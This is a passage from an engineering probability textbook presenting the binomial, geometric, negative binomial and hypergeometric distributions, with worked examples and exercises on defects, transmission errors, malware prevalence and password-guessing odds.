$$P(X = x) = \binom{4}{x}(0.1)^x(0.9)^{4-x}$$

Notice that $\binom{4}{2} = 4!/[2!\,2!] = 6$, as found above. The probability mass function of X was shown in Example 3-4 and Fig. 3-1.

The previous example motivates the following result.

Binomial Distribution

A random experiment consists of n Bernoulli trials such that

(1) The trials are independent.

(2) Each trial results in only two possible outcomes, labeled as "success" and "failure."

(3) The probability of a success in each trial, denoted as p, remains constant.

The random variable X that equals the number of trials that result in a success has a **binomial random variable** with parameters $0 < p < 1$ and $n = 1, 2, \ldots$. The probability mass function of X is

$$f(x) = \binom{n}{x} p^x (1-p)^{n-x} \qquad x = 0, 1, \ldots, n \tag{3-7}$$

As in Example 3-16, $\binom{n}{x}$ equals the total number of different sequences of trials that contain x successes and $n - x$ failures. The total number of different sequences that contain x successes and $n - x$ failures times the probability of each sequence equals $P(X = x)$.

The probability expression above is a very useful formula that can be applied in a number of examples. The name of the distribution is obtained from the *binomial expansion*. For constants a and b, the binomial expansion is

$$(a + b)^n = \sum_{k=0}^{n} \binom{n}{k} a^k b^{n-k}$$

Let p denote the probability of success on a single trial. Then, by using the binomial expansion with $a = p$ and $b = 1 - p$, we see that the sum of the probabilities for a binomial random variable is 1. Furthermore, because each trial in the experiment is classified into two outcomes, {success, failure}, the distribution is called a "bi"-nomial. A more general distribution, which includes the binomial as a special case, is the multinomial distribution, and this is presented in Chapter 5.

Examples of binomial distributions are shown in Fig. 3-8. For a fixed n, the distribution becomes more symmetric as p increases from 0 to 0.5 or decreases from 1 to 0.5. For a fixed p, the distribution becomes more symmetric as n increases.

Figure 3-8 Binomial distributions for selected values of n and p.

EXAMPLE 3-17

Several examples using the binomial coefficient $\binom{n}{x}$ follow.

$$\binom{10}{3} = 10!/[3!\,7!] = (10 \cdot 9 \cdot 8)/(3 \cdot 2) = 120$$

$$\binom{15}{10} = 15!/[10!\,5!] = (15 \cdot 14 \cdot 13 \cdot 12 \cdot 11)/(5 \cdot 4 \cdot 3 \cdot 2) = 3003$$

$$\binom{100}{4} = 100!/[4!\,96!] = (100 \cdot 99 \cdot 98 \cdot 97)/(4 \cdot 3 \cdot 2) = 3{,}921{,}225$$

Also recall that $0! = 1$.

EXAMPLE 3-18 Organic Pollution

Each sample of water has a 10% chance of containing a particular organic pollutant. Assume that the samples are independent with regard to the presence of the pollutant. Find the probability that in the next 18 samples, exactly 2 contain the pollutant.

Let X = the number of samples that contain the pollutant in the next 18 samples analyzed. Then X is a binomial random variable with $p = 0.1$ and $n = 18$. Therefore,

$$P(X = 2) = \binom{18}{2}(0.1)^2(0.9)^{16}$$

Now $\binom{18}{2} = 18!/[2!\,16!] = 18(17)/2 = 153$. Therefore,

$$P(X = 2) = 153(0.1)^2(0.9)^{16} = 0.284$$

Determine the probability that at least four samples contain the pollutant. The requested probability is

$$P(X \geq 4) = \sum_{x=4}^{18} \binom{18}{x}(0.1)^x(0.9)^{18-x}$$

However, it is easier to use the complementary event,

$$P(X \geq 4) = 1 - P(X < 4) = 1 - \sum_{x=0}^{3} \binom{18}{x}(0.1)^x(0.9)^{18-x}$$
$$= 1 - [0.150 + 0.300 + 0.284 + 0.168] = 0.098$$

Determine the probability that $3 \leq X < 7$. Now

$$P(3 \leq X < 7) = \sum_{x=3}^{6} \binom{18}{x}(0.1)^x(0.9)^{18-x}$$
$$= 0.168 + 0.070 + 0.022 + 0.005$$
$$= 0.265$$

Practical Interpretation: Binomial random variables are used to model many physical systems and probabilities for all such models can be obtained from the binomial probability mass function.

A table of cumulative binomial probabilities is provided in Appendix A and this can simplify some calculations. For example, the binomial distribution in Example 3-16 has $p = 0.1$ and $n = 4$. A probability such as $P(X = 2)$ can be calculated from the table as

$$P(X = 2) = P(X \leq 2) - P(X \leq 1) = 0.9963 - 0.9477 = 0.0486$$

and this agrees with the result obtained previously.

The mean and variance of a binomial random variable can be obtained from an analysis of the independent trials that comprise the binomial experiment. Define new random variables

$$X_i = \begin{cases} 1 \text{ if } i\text{th trial is a success} \\ 0 \text{ otherwise} \end{cases}$$

for $i = 1, 2, \ldots, n$. Then,

$$X = X_1 + X_2 + \cdots + X_n$$

Also, it is easy to derive the mean and variance of each X_i as

$$E(X_i) = 1p + 0(1 - p) = p$$

and

$$V(X_i) = (1 - p)^2 p + (0 - p)^2(1 - p) = p(1 - p)$$

Sums of random variables are discussed in Chapter 5, and there, the intuitively reasonable result that

$$E(X) = E(X_1) + E(X_2) + \cdots + E(X_n)$$

is derived. Furthermore, for the independent trials of a binomial experiment it is also shown in Chapter 5 that

$$V(X) = V(X_1) + V(X_2) + \cdots + V(X_n)$$

Because $E(X_i) = p$ and $V(X_i) = p(1 - p)$, we obtain the solution $E(X) = np$ and $V(X) = np(1 - p)$.

Mean and Variance

If X is a binomial random variable with parameters p and n,

$$\mu = E(X) = np \qquad \text{and} \qquad \sigma^2 = V(X) = np(1 - p) \tag{3-8}$$

EXAMPLE 3-19

For the number of transmitted bits received in error in Example 3-16, $n = 4$ and $p = 0.1$, so

$$E(X) = 4(0.1) = 0.4 \qquad \text{and} \qquad V(X) = 4(0.1)(0.9) = 0.36$$

and these results match those obtained from a direct calculation in Example 3-9.

EXERCISES FOR SECTION 3-6

3-75. For each scenario described below, state whether or not the binomial distribution is a reasonable model for the random variable and why. State any assumptions you make.

(a) A production process produces thousands of temperature transducers. Let X denote the number of nonconforming transducers in a sample of size 30 selected at random from the process.

(b) From a batch of 50 temperature transducers, a sample of size 30 is selected without replacement. Let X denote the number of nonconforming transducers in the sample.

(c) Four identical electronic components are wired to a controller that can switch from a failed component to one of the remaining spares. Let X denote the number of components that have failed after a specified period of operation.

(d) Let X denote the number of accidents that occur along the federal highways in Arizona during a one-month period.

(e) Let X denote the number of correct answers by a student taking a multiple-choice exam in which a student can eliminate some of the choices as being incorrect in some questions and all of the incorrect choices in other questions.

(f) Defects occur randomly over the surface of a semiconductor chip. However, only 80% of defects can be found by testing. A sample of 40 chips with one defect each is tested. Let X denote the number of chips in which the test finds a defect.

(g) Reconsider the situation in part (f). Now, suppose the sample of 40 chips consists of chips with 1 and with 0 defects.

(h) A filling operation attempts to fill detergent packages to the advertised weight. Let X denote the number of detergent packages that are underfilled.

(i) Errors in a digital communication channel occur in bursts that affect several consecutive bits. Let X denote the number of bits in error in a transmission of 100,000 bits.

(j) Let X denote the number of surface flaws in a large coil of galvanized steel.

3-76. Let X be a binomial random variable with $p = 0.2$ and $n = 20$. Use the binomial table in Appendix A to determine the following probabilities.

(a) $P(X \leq 3)$ (b) $P(X > 10)$
(c) $P(X = 6)$ (d) $P(6 \leq X \leq 11)$

3-77. Let X be a binomial random variable with $p = 0.1$ and $n = 10$. Calculate the following probabilities from the binomial probability mass function and also from the binomial table in Appendix A and compare results.

(a) $P(X \leq 2)$ (b) $P(X > 8)$
(c) $P(X = 4)$ (d) $P(5 \leq X \leq 7)$

3-78. The random variable X has a binomial distribution with $n = 10$ and $p = 0.5$. Determine the following probabilities:

(a) $P(X = 5)$ (b) $P(X \leq 2)$
(c) $P(X \geq 9)$ (d) $P(3 \leq X < 5)$

3-79. The random variable X has a binomial distribution with $n = 10$ and $p = 0.01$. Determine the following probabilities.

(a) $P(X = 5)$ (b) $P(X \leq 2)$
(c) $P(X \geq 9)$ (d) $P(3 \leq X < 5)$

3-80. The random variable X has a binomial distribution with $n = 10$ and $p = 0.5$. Sketch the probability mass function of X.

(a) What value of X is most likely?
(b) What value(s) of X is(are) least likely?

3-81. Sketch the probability mass function of a binomial distribution with $n = 10$ and $p = 0.01$ and comment on the shape of the distribution.

(a) What value of X is most likely?
(b) What value of X is least likely?

3-82. Determine the cumulative distribution function of a binomial random variable with $n = 3$ and $p = 1/2$.

3-83. Determine the cumulative distribution function of a binomial random variable with $n = 3$ and $p = 1/4$.

3-84. An electronic product contains 40 integrated circuits. The probability that any integrated circuit is defective is 0.01, and the integrated circuits are independent. The product operates only if there are no defective integrated circuits. What is the probability that the product operates?

3-85. The phone lines to an airline reservation system are occupied 40% of the time. Assume that the events that the lines are occupied on successive calls are independent. Assume that 10 calls are placed to the airline.

(a) What is the probability that for exactly three calls the lines are occupied?
(b) What is the probability that for at least one call the lines are not occupied?
(c) What is the expected number of calls in which the lines are all occupied?

3-86. A multiple-choice test contains 25 questions, each with four answers. Assume a student just guesses on each question.

(a) What is the probability that the student answers more than 20 questions correctly?
(b) What is the probability the student answers less than five questions correctly?

3-87. A particularly long traffic light on your morning commute is green 20% of the time that you approach it. Assume that each morning represents an independent trial.

(a) Over five mornings, what is the probability that the light is green on exactly one day?
(b) Over 20 mornings, what is the probability that the light is green on exactly four days?
(c) Over 20 mornings, what is the probability that the light is green on more than four days?

3-88. Samples of rejuvenated mitochondria are mutated (defective) in 1% of cases. Suppose 15 samples are studied,

and they can be considered to be independent for mutation. Determine the following probabilities. The binomial table in Appendix A can help.

(a) No samples are mutated.
(b) At most one sample is mutated.
(c) More than half the samples are mutated.

3-89. An article in *Information Security Technical Report* ["Malicious Software—Past, Present and Future" (2004, Vol. 9, pp. 6–18)] provided the following data on the top ten malicious software instances for 2002. The clear leader in the number of registered incidences for the year 2002 was the Internet worm "Klez," and it is still one of the most widespread threats. This virus was first detected on 26 October 2001, and it has held the top spot among malicious software for the longest period in the history of virology.

Place	Name	% Instances
1	I-Worm.Klez	61.22%
2	I-Worm.Lentin	20.52%
3	I-Worm.Tanatos	2.09%
4	I-Worm.BadtransII	1.31%
5	Macro.Word97.Thus	1.19%
6	I-Worm.Hybris	0.60%
7	I-Worm.Bridex	0.32%
8	I-Worm.Magistr	0.30%
9	Win95.CIH	0.27%
10	I-Worm.Sircam	0.24%

The 10 most widespread malicious programs for 2002 *(Source—Kaspersky Labs).*

Suppose that 20 malicious software instances are reported. Assume that the malicious sources can be assumed to be independent.

(a) What is the probability that at least one instance is "Klez"?
(b) What is the probability that three or more instances are "Klez"?
(c) What are the mean and standard deviation of the number of "Klez" instances among the 20 reported?

3-90. Heart failure is due to either natural occurrences (87%) or outside factors (13%). Outside factors are related to induced substances or foreign objects. Natural occurrences are caused by arterial blockage, disease, and infection. Suppose that 20 patients will visit an emergency room with heart failure. Assume that causes of heart failure between individuals are independent.

(a) What is the probability that three individuals have conditions caused by outside factors?
(b) What is the probability that three or more individuals have conditions caused by outside factors?
(c) What are the mean and standard deviation of the number of individuals with conditions caused by outside factors?

3-91. A computer system uses passwords that are exactly six characters and each character is one of the 26 letters (a–z) or 10 integers (0–9). Suppose there are 10,000 users of the system with unique passwords. A hacker randomly selects (with replacement) one billion passwords from the potential set, and a match to a user's password is called a **hit.**

(a) What is the distribution of the number of hits?
(b) What is the probability of no hits?
(c) What are the mean and variance of the number of hits?

3-92. **A statistical process control chart example.** Samples of 20 parts from a metal punching process are selected every hour. Typically, 1% of the parts require rework. Let X denote the number of parts in the sample of 20 that require rework. A process problem is suspected if X exceeds its mean by more than three standard deviations.

(a) If the percentage of parts that require rework remains at 1%, what is the probability that X exceeds its mean by more than three standard deviations?
(b) If the rework percentage increases to 4%, what is the probability that X exceeds 1?
(c) If the rework percentage increases to 4%, what is the probability that X exceeds 1 in at least one of the next five hours of samples?

3-93. Because not all airline passengers show up for their reserved seat, an airline sells 125 tickets for a flight that holds only 120 passengers. The probability that a passenger does not show up is 0.10, and the passengers behave independently.

(a) What is the probability that every passenger who shows up can take the flight?
(b) What is the probability that the flight departs with empty seats?

3-94. This exercise illustrates that poor quality can affect schedules and costs. A manufacturing process has 100 customer orders to fill. Each order requires one component part that is purchased from a supplier. However, typically, 2% of the components are identified as defective, and the components can be assumed to be independent.

(a) If the manufacturer stocks 100 components, what is the probability that the 100 orders can be filled without reordering components?
(b) If the manufacturer stocks 102 components, what is the probability that the 100 orders can be filled without reordering components?
(c) If the manufacturer stocks 105 components, what is the probability that the 100 orders can be filled without reordering components?

3-95. Consider the lengths of stay at a hospital's emergency department in Exercise 3-29. Assume that five persons independently arrive for service.

(a) What is the probability that the length of stay of exactly one person is less than or equal to 4 hours?
(b) What is the probability that exactly two people wait more than 4 hours?

(c) What is the probability that at least one person waits more than 4 hours?

3-96. Consider the visits that result in leave without being seen (LWBS) at an emergency department in Example 2-8. Assume that four persons independently arrive for service at Hospital 1.

(a) What is the probability that exactly one person will LWBS?
(b) What is the probability, that two or more two people will LWBS?
(c) What is the probability that at least one person will LWBS?

3-97. Assume a Web site changes its content according to the distribution in Exercise 3-30. Assume 10 changes are made independently.

(a) What is the probability that the change is made in less than 4 days in seven of the 10 updates?
(b) What is the probability that the change is made in less than 4 days in two or fewer of the 10 updates?
(c) What is the probability that at least one change is made in less than 4 days?
(d) What is the expected number of the 10 updates that occur in less than 4 days?

3-98. Consider the endothermic reactions in Exercise 3-28. A total of 20 independent reactions are to be conducted.

(a) What is the probability that exactly 12 reactions result in a final temperature less than 272 K?
(b) What is the probability that at least 19 reactions result in a final temperature less than 272 K?
(c) What is the probability that at least 18 reactions result in a final temperature less than 272 K?
(d) What is the expected number of reactions that result in a final temperature of less than 272 K?

3-7 GEOMETRIC AND NEGATIVE BINOMIAL DISTRIBUTIONS

Geometric Distribution

Consider a random experiment that is closely related to the one used in the definition of a binomial distribution. Again, assume a series of Bernoulli trials (independent trials with constant probability p of a success on each trial). However, instead of a fixed number of trials, trials are conducted until a success is obtained. Let the random variable X denote the number of trials until the first success. In Example 3-5, successive wafers are analyzed until a large particle is detected. Then, X is the number of wafers analyzed. In the transmission of bits, X might be the number of bits transmitted until an error occurs.

EXAMPLE 3-20 Digital Channel

The probability that a bit transmitted through a digital transmission channel is received in error is 0.1. Assume the transmissions are independent events, and let the random variable X denote the number of bits transmitted *until* the first error.

Then, $P(X = 5)$ is the probability that the first four bits are transmitted correctly and the fifth bit is in error. This event can be denoted as $\{OOOOE\}$, where O denotes an okay bit. Because the trials are independent and the probability of a correct transmission is 0.9,

$$P(X = 5) = P(OOOOE) = 0.9^4 0.1 = 0.066$$

Note that there is some probability that X will equal any integer value. Also, if the first trial is a success, $X = 1$. Therefore, the range of X is $\{1, 2, 3, \ldots\}$, that is, all positive integers.

Geometric Distribution

In a series of Bernoulli trials (independent trials with constant probability p of a success), let the random variable X denote the number of trials until the first success. Then X is a **geometric random variable** with parameter $0 < p < 1$ and

$$f(x) = (1 - p)^{x-1}p \qquad x = 1, 2, \ldots \tag{3-9}$$

Examples of the probability mass functions for geometric random variables are shown in Fig. 3-9. Note that the height of the line at x is $(1 - p)$ times the height of the line at $x - 1$. That is, the probabilities decrease in a geometric progression. The distribution acquires its name from this result.

Figure 3-9 Geometric distributions for selected values of the parameter p.

EXAMPLE 3-21

The probability that a wafer contains a large particle of contamination is 0.01. If it is assumed that the wafers are independent, what is the probability that exactly 125 wafers need to be analyzed before a large particle is detected?

Let X denote the number of samples analyzed until a large particle is detected. Then X is a geometric random variable with $p = 0.01$. The requested probability is

$$P(X = 125) = (0.99)^{124}0.01 = 0.0029$$

The mean of a geometric random variable is

$$\mu = \sum_{k=1}^{\infty} kp(1-p)^{k-1} = p\sum_{k=1}^{\infty} kq^{k-1}$$

where $q = p - 1$. The right-hand side of the previous equation is recognized to be the partial derivative with respect to q of

$$p\sum_{k=1}^{\infty} q^k = \frac{pq}{1-q}$$

where the last equality is obtained from the known sum of a geometric series. Therefore,

$$\mu = \frac{\partial}{\partial q}\left[\frac{pq}{1-q}\right] = \frac{p}{(1-q)^2} = \frac{p}{p^2} = \frac{1}{p}$$

and the mean is derived. To obtain the variance of a geometric random variable, we can first derive $E(X^2)$ by a similar approach. This can be obtained from partial second derivatives with respect to q. Then the formula $V(X) = E(X^2) - (EX)^2$ is applied. The details are a bit more work and this is left as a mind-expanding exercise.

Mean and Variance

If X is a geometric random variable with parameter p,

$$\mu = E(X) = 1/p \qquad \text{and} \qquad \sigma^2 = V(X) = (1 - p)/p^2 \tag{3-10}$$

EXAMPLE 3-22

Consider the transmission of bits in Example 3-20. Here, $p = 0.1$. The mean number of transmissions until the first error is $1/0.1 = 10$. The standard deviation of the number of transmissions before the first error is

$$\sigma = [(1 - 0.1)/0.1^2]^{1/2} = 9.49$$

Practical Interpretation: The standard deviation here is approximately equal to the mean and this occurs when p is small. The number of trials until the first success may be much different from the mean when p is small.

Lack of Memory Property

A geometric random variable has been defined as the number of trials until the first success. However, because the trials are independent, the count of the number of trials until the next success can be started at any trial without changing the probability distribution of the random variable. For example, in the transmission of bits, if 100 bits are transmitted, the probability that the first error, after bit 100, occurs on bit 106 is the probability that the next six outcomes are *OOOOOE*. This probability is $(0.9)^5(0.1) = 0.059$, which is identical to the probability that the initial error occurs on bit 6.

The implication of using a geometric model is that the system presumably will not wear out. The probability of an error remains constant for all transmissions. In this sense, the geometric distribution is said to lack any memory. The **lack of memory property** will be discussed again in the context of an exponential random variable in Chapter 4.

EXAMPLE 3-23 Lack of Memory

In Example 3-20, the probability that a bit is transmitted in error is equal to 0.1. Suppose 50 bits have been transmitted. The mean number of bits until the next error is $1/0.1 = 10$—the same result as the mean number of bits until the first error.

Negative Binomial Distribution

A generalization of a geometric distribution in which the random variable is the number of Bernoulli trials required to obtain r successes results in the **negative binomial distribution.**

EXAMPLE 3-24 Digital Channel

As in Example 3-20, suppose the probability that a bit transmitted through a digital transmission channel is received in error is 0.1. Assume the transmissions are independent events, and let the random variable X denote the number of bits transmitted until the *fourth* error.

Then, X has a negative binomial distribution with $r = 4$. Probabilities involving X can be found as follows. The $P(X = 10)$ is the probability that exactly three errors occur in the first nine trials and then trial 10 results in the fourth error. The probability that exactly three errors occur in the first nine trials is determined from the binomial distribution to be

$$\binom{9}{3}(0.1)^3(0.9)^6$$

Because the trials are independent, the probability that exactly three errors occur in the first 9 trials and trial 10 results in the fourth error is the product of the probabilities of these two events, namely,

$$\binom{9}{3}(0.1)^3(0.9)^6(0.1) = \binom{9}{3}(0.1)^4(0.9)^6$$

Negative Binomial Distribution

In a series of Bernoulli trials (independent trials with constant probability p of a success), let the random variable X denote the number of trials until r successes occur. Then X is a **negative binomial random variable** with parameters $0 < p < 1$ and $r = 1, 2, 3, \ldots$, and

$$f(x) = \binom{x-1}{r-1}(1-p)^{x-r}p^r \qquad x = r, r+1, r+2, \ldots \tag{3-11}$$

Because at least r trials are required to obtain r successes, the range of X is from r to ∞. In the special case that $r = 1$, a negative binomial random variable is a geometric random variable. Selected negative binomial distributions are illustrated in Fig. 3-10.

The lack of memory property of a geometric random variable implies the following. Let X denote the total number of trials required to obtain r successes. Let X_1 denote the number of trials required to obtain the first success, let X_2 denote the number of extra trials required to obtain the second success, let X_3 denote the number of extra trials to obtain the third success, and so forth. Then, the total number of trials required to obtain r successes is $X = X_1 + X_2 + \cdots + X_r$. Because of the lack of memory property, each of the random variables $X_1, X_2, \ldots, X_r$ has a geometric distribution with the same value of p. Consequently, a negative binomial random variable can be interpreted as the sum of r geometric random variables. This concept is illustrated in Fig. 3-11.

Recall that a binomial random variable is a count of the number of successes in n Bernoulli trials. That is, the number of trials is predetermined, and the number of successes is

Figure 3-10 Negative binomial distributions for selected values of the parameters r and p.

Figure 3-11 Negative binomial random variable represented as a sum of geometric random variables.

random. A negative binomial random variable is a count of the number of trials required to obtain r successes. That is, the number of successes is predetermined, and the number of trials is random. In this sense, a negative binomial random variable can be considered the opposite, or negative, of a binomial random variable.

The description of a negative binomial random variable as a sum of geometric random variables leads to the following results for the mean and variance. Sums of random variables are studied in Chapter 5.

Mean and Variance

If X is a negative binomial random variable with parameters p and r,

$$\mu = E(X) = r/p \qquad \text{and} \qquad \sigma^2 = V(X) = r(1-p)/p^2 \tag{3-12}$$

EXAMPLE 3-25 Web Servers

A Web site contains three identical computer servers. Only one is used to operate the site, and the other two are spares that can be activated in case the primary system fails. The probability of a failure in the primary computer (or any activated spare system) from a request for service is 0.0005. Assuming that each request represents an independent trial, what is the mean number of requests until failure of all three servers?

Let X denote the number of requests until all three servers fail, and let X_1, X_2, and X_3 denote the number of requests before a failure of the first, second, and third servers used, respectively. Now, $X = X_1 + X_2 + X_3$. Also, the requests are assumed to comprise independent trials with constant probability of failure $p = 0.0005$. Furthermore, a spare server is not affected by the number of requests before it is activated. Therefore, X has a negative binomial distribution with $p = 0.0005$ and $r = 3$. Consequently,

$$E(X) = 3/0.0005 = 6000 \text{ requests}$$

What is the probability that all three servers fail within five requests? The probability is $P(X \le 5)$ and because X denotes the number of requests to the third failure $P(X \le 2) = 0$. Therefore,

$$\begin{aligned} P(X \le 5) &= P(X = 3) + P(X = 4) + P(X = 5) \\ &= 0.0005^3 + \binom{3}{2} 0.0005^3 (0.9995) \\ &\quad + \binom{4}{2} 0.0005^3 \, (0.9995)^2 \\ &= 1.25 \times 10^{-10} + 3.75 \times 10^{-10} + 7.49 \times 10^{-10} \\ &= 1.249 \times 10^{-9} \end{aligned}$$

Practical Interpretation: Because the trials are independent the mean number of trials to the third failure is three times as large as the number of trials until the first failure.

EXERCISES FOR SECTION 3-7

3-99. Suppose the random variable X has a geometric distribution with $p = 0.5$. Determine the following probabilities:
(a) $P(X = 1)$ (b) $P(X = 4)$
(c) $P(X = 8)$ (d) $P(X \le 2)$
(e) $P(X > 2)$

3-100. Suppose the random variable X has a geometric distribution with a mean of 2.5. Determine the following probabilities:
(a) $P(X = 1)$ (b) $P(X = 4)$
(c) $P(X = 5)$ (d) $P(X \le 3)$
(e) $P(X > 3)$

3-101. Consider a sequence of independent Bernoulli trials with $p = 0.2$.
(a) What is the expected number of trials to obtain the first success?
(b) After the eighth success occurs, what is the expected number of trials to obtain the ninth success?

3-102. Suppose that X is a negative binomial random variable with $p = 0.2$ and $r = 4$. Determine the following:

(a) $E(X)$ (b) $P(X = 20)$
(c) $P(X = 19)$ (d) $P(X = 21)$
(e) The most likely value for X

3-103. The probability of a successful optical alignment in the assembly of an optical data storage product is 0.8. Assume the trials are independent.

(a) What is the probability that the first successful alignment requires exactly four trials?
(b) What is the probability that the first successful alignment requires at most four trials?
(c) What is the probability that the first successful alignment requires at least four trials?

3-104. In a clinical study, volunteers are tested for a gene that has been found to increase the risk for a disease. The probability that a person carries the gene is 0.1.

(a) What is the probability four or more people will have to be tested before two with the gene are detected?
(b) How many people are expected to be tested before two with the gene are detected?

3-105. Assume that each of your calls to a popular radio station has a probability of 0.02 of connecting, that is, of not obtaining a busy signal. Assume that your calls are independent.

(a) What is the probability that your first call that connects is your tenth call?
(b) What is the probability that it requires more than five calls for you to connect?
(c) What is the mean number of calls needed to connect?

3-106. A player of a video game is confronted with a series of opponents and has an 80% probability of defeating each one. Success with any opponent is independent of previous encounters. The player continues to contest opponents until defeated.

(a) What is the probability mass function of the number of opponents contested in a game?
(b) What is the probability that a player defeats at least two opponents in a game?
(c) What is the expected number of opponents contested in a game?
(d) What is the probability that a player contests four or more opponents in a game?
(e) What is the expected number of game plays until a player contests four or more opponents?

3-107. Heart failure is due to either natural occurrences (87%) or outside factors (13%). Outside factors are related to induced substances or foreign objects. Natural occurrences are caused by arterial blockage, disease, and infection. Assume that causes of heart failure between individuals are independent.

(a) What is the probability that the first patient with heart failure who enters the emergency room has the condition due to outside factors?
(b) What is the probability that the third patient with heart failure who enters the emergency room is the first one due to outside factors?
(c) What is the mean number of heart failure patients with the condition due to natural causes who enter the emergency room before the first patient with heart failure from outside factors?

3-108. A computer system uses passwords constructed from the 26 letters (a–z) or 10 integers (0–9). Suppose there are 10,000 users of the system with unique passwords. A hacker randomly selects (with replacement) passwords from the potential set.

(a) Suppose there are 9900 users with unique six-character passwords and the hacker randomly selects six-character passwords. What is the mean and standard deviation of the number of attempts before the hacker selects a user password?
(b) Suppose there are 100 users with unique three-character passwords and the hacker randomly selects three-character passwords. What is the mean and standard deviation of the number of attempts before the hacker selects a user password?
(c) Comment on the security differences between six- and three-character passwords.

3-109. A trading company has eight computers that it uses to trade on the New York Stock Exchange (NYSE). The probability of a computer failing in a day is 0.005, and the computers fail independently. Computers are repaired in the evening and each day is an independent trial.

(a) What is the probability that all eight computers fail in a day?
(b) What is the mean number of days until a specific computer fails?
(c) What is the mean number of days until all eight computers fail in the same day?

3-110. Assume that 20 parts are checked each hour and that X denotes the number of parts in the sample of 20 that require rework. Parts are assumed to be independent with respect to rework.

(a) If the percentage of parts that require rework remains at 1%, what is the probability that hour 10 is the first sample at which X exceeds 1?
(b) If the rework percentage increases to 4%, what is the probability that hour 10 is the first sample at which X exceeds 1?
(c) If the rework percentage increases to 4%, what is the expected number of hours until X exceeds 1?

3-111. A fault-tolerant system that processes transactions for a financial services firm uses three separate computers. If the operating computer fails, one of the two spares can be immediately switched online. After the second computer fails, the last computer can be immediately switched online. Assume that the probability of a failure during any transaction is 10^{-8} and that the transactions can be considered to be independent events.

(a) What is the mean number of transactions before all computers have failed?
(b) What is the variance of the number of transactions before all computers have failed?

3-112. In the process of meiosis, a single parent diploid cell goes through eight different phases. However, only 60% of the processes pass the first six phases and only 40% pass all eight. Assume the results from each phase are independent.

(a) If the probability of a successful pass of each one of the first six phases is constant, what is the probability of a successful pass of a single one of these phases?

(b) If the probability of a successful pass of each one of the last two phases is constant, what is the probability of a successful pass of a single one of these phases?

3-113. Show that the probability density function of a negative binomial random variable equals the probability density function of a geometric random variable when $r = 1$. Show that the formulas for the mean and variance of a negative binomial random variable equal the corresponding results for a geometric random variable when $r = 1$.

3-114. Consider the endothermic reactions in Exercise 3-28. Assume independent reactions are conducted.

(a) What is the probability that the first reaction to result in a final temperature less than 272 K is the tenth reaction?

(b) What is the mean number of reactions until the first final temperature is less than 272 K?

(c) What is the probability that the first reaction to result in a final temperature less than 272 K occurs within three or fewer reactions?

(d) What is the mean number of reactions until two reactions result in final temperatures less than 272 K?

3-115. A Web site randomly selects among 10 products to discount each day. The color printer of interest to you is discounted today.

(a) What is the expected number of days until this product is again discounted?

(b) What is the probability that this product is first discounted again exactly 10 days from now?

(c) If the product is not discounted for the next five days, what is the probability that it is first discounted again 15 days from now?

(d) What is the probability that this product is first discounted again within three or fewer days?

3-116. Consider the visits that result in leave without being seen (LWBS) at an emergency department in Example 2-8. Assume that people independently arrive for service at Hospital l.

(a) What is the probability that the fifth visit is the first one to LWBS?

(b) What is the probability that either the fifth or sixth visit is the first one to LWBS?

(c) What is the probability that the first visit to LWBS is among the first four visits?

(d) What is the expected number of visits until the third LWBS occurs?

3-8 HYPERGEOMETRIC DISTRIBUTION

In Example 3-8, a day's production of 850 manufactured parts contains 50 parts that do not conform to customer requirements. Two parts are selected at random, without replacement from the day's production. Let A and B denote the events that the first and second parts are nonconforming, respectively. In Chapter 2, we found $P(B|A) = 49/849$ and $P(A) = 50/850$. Consequently, knowledge that the first part is nonconforming suggests that it is less likely that the second part selected is nonconforming.

Let X equal the number of nonconforming parts in the sample. Then,

$$\begin{aligned}
P(X = 0) &= P(\text{both parts conform}) = (800/850)(799/849) = 0.886 \\
P(X = 1) &= P(\text{first part selected conforms and the second part selected} \\
&\qquad \text{does not, or the first part selected does not and the second part} \\
&\qquad \text{selected conforms}) \\
&= (800/850)(50/849) + (50/850)(800/849) = 0.111 \\
P(X = 2) &= P(\text{both parts do not conform}) = (50/850)(49/849) = 0.003
\end{aligned}$$

This experiment is fundamentally different from the examples based on the binomial distribution. In this experiment, the trials are not independent. Note that, in the unusual case that each unit selected is replaced before the next selection, the trials are independent and there is a constant probability of a nonconforming part on each trial. Then, the number of nonconforming parts in the sample is a binomial random variable.

But as in this example, samples are often selected without replacement. Although probabilities can be determined by the reasoning used in the example above, a general formula for computing probabilities when samples are selected without replacement is quite useful. The counting rules presented in Chapter 2 can be used to justify the formula given below.

Hypergeometric Distribution

A set of N objects contains

K objects classified as successes

$N - K$ objects classified as failures

A sample of size n objects is selected randomly (without replacement) from the N objects, where $K \leq N$ and $n \leq N$.

Let the random variable X denote the number of successes in the sample. Then X is a **hypergeometric random variable** and

$$f(x) = \frac{\binom{K}{x}\binom{N-K}{n-x}}{\binom{N}{n}} \qquad x = \max\{0, n + K - N\} \text{ to } \min\{K, n\} \tag{3-13}$$

The expression $\min\{K, n\}$ is used in the definition of the range of X because the maximum number of successes that can occur in the sample is the smaller of the sample size, n, and the number of successes available, K. Also, if $n + K > N$, at least $n + K - N$ successes must occur in the sample. Selected hypergeometric distributions are illustrated in Fig. 3-12.

Figure 3-12 Hypergeometric distributions for selected values of parameters N, K, and n.

EXAMPLE 3-26 Sampling without Replacement

The example at the start of this section can be reanalyzed by using the general expression in the definition of a hypergeometric random variable. That is,

$$P(X = 0) = \frac{\binom{50}{0}\binom{800}{2}}{\binom{850}{2}} = \frac{319{,}600}{360{,}825} = 0.886$$

$$P(X = 1) = \frac{\binom{50}{1}\binom{800}{1}}{\binom{850}{2}} = \frac{40{,}000}{360{,}825} = 0.111$$

$$P(X = 2) = \frac{\binom{50}{2}\binom{800}{0}}{\binom{850}{2}} = \frac{1{,}225}{360{,}825} = 0.003$$

EXAMPLE 3-27 Parts from Suppliers

A batch of parts contains 100 parts from a local supplier of tubing and 200 parts from a supplier of tubing in the next state. If four parts are selected randomly and without replacement, what is the probability they are all from the local supplier?

Let X equal the number of parts in the sample from the local supplier. Then, X has a hypergeometric distribution and the requested probability is $P(X = 4)$. Consequently,

$$P(X = 4) = \frac{\binom{100}{4}\binom{200}{0}}{\binom{300}{4}} = 0.0119$$

What is the probability that two or more parts in the sample are from the local supplier?

$$P(X \geq 2) = \frac{\binom{100}{2}\binom{200}{2}}{\binom{300}{4}} + \frac{\binom{100}{3}\binom{200}{1}}{\binom{300}{4}} + \frac{\binom{100}{4}\binom{200}{0}}{\binom{300}{4}}$$

$$= 0.298 + 0.098 + 0.0119 = 0.408$$

What is the probability that at least one part in the sample is from the local supplier?

$$P(X \geq 1) = 1 - P(X = 0) = 1 - \frac{\binom{100}{0}\binom{200}{4}}{\binom{300}{4}} = 0.804$$

